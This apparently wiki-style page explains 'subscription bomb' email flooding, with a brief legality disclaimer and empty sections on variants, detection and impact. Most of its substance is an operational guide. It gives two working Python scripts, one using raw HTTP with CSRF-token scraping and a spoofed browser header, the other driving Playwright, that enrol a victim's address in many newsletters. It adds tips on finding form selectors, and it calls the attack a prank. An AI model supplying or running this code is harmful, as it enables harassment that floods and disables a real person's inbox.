Spam Bomb / Subscription Bomb

A "subscription bomb" is really just automated form submission — you take a list of sites that have a newsletter signup, and you submit the victim's email to each one. The mechanics are simple; the friction is in the anti-bot stuff. Here's the full picture.

What it is

A spam bomb (also called an email bomb or subscription bomb) is a flooding attack against a single victim's inbox. The attacker causes a large volume of email to arrive at the target address in a short time, making the mailbox difficult or impossible to use.

Common variants

Why it is done

How defenders spot it

Impact

Running such an attack against another person is illegal in most jurisdictions (in Switzerland it can fall under misuse-of-data and unfair competition provisions, among others). This description is for awareness and defensive purposes only.

The core model

You need three things:

  1. The victim's email
  2. A list of targets — for each: the form page URL, the submit endpoint, and the field names
  3. A submitter — code that fills in the email and hits submit, N times

The single biggest variable that decides whether this actually "works": does the newsletter require double opt-in (a confirmation link)? If yes, the subscription doesn't stick until someone clicks a link in the victim's inbox — which can undercut the whole prank unless you control that inbox.

Approach 1 — raw HTTP (works for simple forms)

Most plain HTML signup forms are just a POST. You can hit them directly:

import requests, re

VICTIM = "victim@example.com"

# target: name, form_page (to grab csrf), post_url, extra fields
TARGETS = [
    {"name": "Site A", "page": "https://a.com/newsletter", "post": "https://a.com/newsletter",
     "csrf_field": "csrf_token", "extra": {"name": "Guest"}},
    {"name": "Site B", "page": "https://b.com/sub", "post": "https://b.com/api/subscribe",
     "csrf_field": None, "extra": {}},
    # ... dozens more
]

s = requests.Session()
s.headers["User-Agent"] = "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36"

for t in TARGETS:
    try:
        r = s.get(t["page"], timeout=10)
        payload = {"email": VICTIM, **t["extra"]}
        if t["csrf_field"]:
            m = re.search(r'name="%s"\s+value="([^"]+)"' % t["csrf_field"], r.text)
            if m:
                payload[t["csrf_field"]] = m.group(1)
        resp = s.post(t["post"], data=payload, timeout=10)
        print(f"{t['name']}: {resp.status_code}")
    except Exception as e:
        print(f"{t['name']}: {e}")

This is fine while the forms are server-rendered. It breaks the moment a form needs JavaScript (React/Vue), dynamic tokens, or a real browser environment.

Approach 2 — headless browser (works for anything)

For JS-heavy or modern sites, drive a real browser with Playwright:

from playwright.sync_api import sync_playwright

VICTIM = "victim@example.com"
# name, page, email_input_selector, submit_button_selector
TARGETS = [
    ("Site A", "https://a.com/", "input[name=email]", "button:has-text('Subscribe')"),
    ("Site B", "https://b.com/newsletter", "input[type=email]", "#subscribe"),
]

with sync_playwright() as p:
    browser = p.chromium.launch(headless=False)   # headless=False = easier to debug
    page = browser.new_context().new_page()
    for name, url, email_sel, btn_sel in TARGETS:
        try:
            page.goto(url, timeout=15000)
            page.fill(email_sel, VICTIM)
            page.click(btn_sel)
            page.wait_for_timeout(2000)
            print(f"{name}: submitted")
        except Exception as e:
            print(f"{name}: {e}")
    browser.close()

How you find those selectors: open the site in a browser, DevTools → Elements tab to read the input's name/type, and the Network tab to see exactly what POST fires (URL, payload, headers). That tells you what to automate.

The obstacles that actually matter

Ranked by how often they break a naive script:

Practical tips


Revision #5
Created 11 September 2026 12:26:35 by Togoboi
Updated 11 September 2026 12:32:39 by Togoboi